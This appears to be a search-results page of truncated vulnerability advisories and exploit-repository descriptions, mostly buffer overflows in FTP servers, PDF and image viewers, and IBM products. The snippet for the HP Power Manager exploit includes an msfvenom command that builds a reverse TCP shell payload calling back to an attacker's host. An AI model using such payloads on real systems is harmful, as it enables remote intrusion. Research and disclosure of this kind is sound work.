394785 matches found
Explotando-FreeFloatFTP-CVE-2025-5548
Explotando-FreeFloatFTP-CVE-2025-5548 欢迎来到我的漏洞研究与利用开发仓库。本项目完整记录了在 FreeFloat FTP Server 中发现的 CVE-2025-5548 （基于栈的缓冲区溢出）漏洞的完整技术分析、环境准备以及逐步利用过程。 🌱 个人说明： 这个项目是我第一次从零开始利用二进制程序。我决定细致地撰写并记录整个过程，出于双重目的：一方面，作为我自己未来的知识库和笔记；另一方面，帮助那些像我一样刚刚踏入 Exploit Development 和逆向工程世界的人。希望这段"从故障到漏洞利用"的旅程能为你们提供指引。 🎓 学术与专业背景：...
Tivoli-Madness
Tivoli-Madness 以下安全通告： CVE-2020-28054：影响 JamoDat – TSMManager Collector v. = 6.5.0.21 的授权绕过漏洞 影响 IBM Tivoli Storage Manager（命令行管理界面）版本 5、发行版 2、级别 0.1 的基于栈的缓冲区溢出漏洞 不幸的是，在我与 Hackerone 的一位审核员发生了最为不愉快的接触之一后，结论如下： IBM Tivoli Storage Manager 已达到其生命周期终止（end of life）支持阶段，将不会被修补。 未发布任何 CVE 编号。...
CVE-2026-78663
The HTTP/2 server can refund connection-level flow control twice for the same data: Once when a client resets a stream refunding data for any sent-but-unread portion of the stream, and again when a request handler reads the buffered data. A malicious client can exploit this to bypass the configur...
CVE-2009-3999
CVE-2009-3999 HP Power Manager 4.2 Build 7 漏洞利用 灵感来源于 https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 步骤 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alphamixe...
Jetleak-Testing-Script
Jetleak 测试脚本 此工具旨在为组织提供一种快速简易的方法，用于测试其 Jetty Web 服务器版本是否存在 JetLeak 漏洞。目前，此脚本不处理具有无效 SSL 证书的站点。这将在未来的迭代中修复。 有关 Jetleak 漏洞的更多详细信息，请参阅我们的博客文章： http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html 示例用法：python jetleaktester.py url port...
bandiview-7.05-vuln-PoC
bandiview-7.05-vuln-PoC 此仓库包含通过模糊测试在 Bandiview 7.05 中发现的漏洞的 PoC CVE-2024-45870（JXR 文件解析拒绝服务漏洞） CVE-2024-45871（PSD 文件解析拒绝服务漏洞） CVE-2024-45872（PSD 文件解析栈缓冲区溢出） 详情 软件：BandiView 版本：v7.05（2024/7/15，BuildNo=26122） 致谢 JaeHo Cho @Jaecho6053 SongHyun Bae @bshyuunn JunSeo Bae @V0xe1 LeeDong Ha @GAP-dev...
CVE-2026-107736 SumatraPDF: stack buffer overflow while processing EXIF Orientation metadata
SumatraPDF is a multi-format reader for Windows. In 3.6.1 and earlier, MaybeFlipBitmap asks GDI+ to read the attacker-controlled PropertyTagOrientation size through GetPropertyItem while supplying only a fixed 64-byte buf on the stack. Opening a crafted TIFF with enough EXIF Orientation values ca...
CVE-2026-107736
SumatraPDF (version 3.6.1 and earlier) on Windows is vulnerable to a stack buffer overflow during the processing of EXIF Orientation metadata. The issue resides in the MaybeFlipBitmap() function, which uses GDI+ to read an attacker-controlled PropertyTagOrientation size via GetPropertyItem() into...
CVE-2008-5416
CVE-2008-5416 Microsoft SQL Server spreplwritetovarbin 通过 SQL 注入导致的内存损坏 调用未记录的扩展存储过程 "spreplwritetovarbin" 时可能发生基于堆的缓冲区溢出。此漏洞影响未安装 MS09-004 中提供的更新的所有版本的 Microsoft SQL Server 2000 和 2005、Windows Internal Database 以及 Microsoft Desktop Engine MSDE。Microsoft 在 2005 的 SP3 中修复了此漏洞，但未公开提及。 致谢： 'jduck',...
CVE-2018-1000117-Exploit
CVE-2018-1000117 Python 软件基金会 CPython 在 Windows 上从 3.2 到 3.6.4 的版本中，os.symlink 函数存在缓冲区溢出漏洞，可能导致任意代码执行，并可能造成权限提升。此攻击似乎可通过创建具有攻击者控制名称或位置的符号链接的 Python 脚本来利用。该漏洞似乎已在 3.7.0 和 3.6.5 中修复。 受影响版本 Python 2.7 Python 3.4 Python 3.5 Python 3.6 致谢 Alexey Izbyshev（报告者）- GitHub Alexey Izbyshev 1337r00t（利用者）-...
CVE-2026-107651 Eog: eog: arbitrary code execution via heap buffer overflow in png metadata reader
A flaw was found in Eye of GNOME eog. A heap-based buffer overflow exists in the PNG metadata reader due to improper state handling when parsing split metadata chunks. A remote attacker could exploit this flaw by enticing a user into opening a specially crafted PNG file, potentially leading to...
CVE-2026-107651
A flaw was found in Eye of GNOME eog. A heap-based buffer overflow exists in the PNG metadata reader due to improper state handling when parsing split metadata chunks. A remote attacker could exploit this flaw by enticing a user into opening a specially crafted PNG file, potentially leading to...
CVE-2026-107651
A heap-based buffer overflow exists in Eye of GNOME (eog) within the PNG metadata reader . The vulnerability is caused by improper state handling during the parsing of split metadata chunks. A remote attacker could exploit this by tricking a user into opening a specially crafted PNG file , which ...
CVE-2026-107651
A flaw was found in Eye of GNOME eog. A heap-based buffer overflow exists in the PNG metadata reader due to improper state handling when parsing split metadata chunks. A remote attacker could exploit this flaw by enticing a user into opening a specially crafted PNG file, potentially leading to...
CVE-2026-105398
A flaw was found in ImageMagick. An attacker can exploit a heap buffer overflow vulnerability by supplying crafted input during calls to the GetVirtualPixels application programming interface API. This issue allows the attacker to overwrite heap memory, leading to an application crash and resulti...
CVE-2026-98184
A flaw was found in the Linux kernel's mwifiex driver. An integer truncation vulnerability occurs during authentication frame length calculation, causing the driver to allocate an undersized memory buffer. A local attacker with network administration privileges can exploit this issue by submittin...
CVE-2026-84875
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to a buffer overflow...
CVE-2026-84246
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to a buffer overflow...
CVE-2026-84058
IBM Guardium Data Protection 12.0, 12.1, and 12.2 is vulnerable to a buffer overrun in the TDS Microsoft SQL Server PRELOGIN packet decoder. A remote attacker who can send a specially crafted TDS PRELOGIN packet to a network monitored by an IBM Guardium Collector may cause a denial of service or...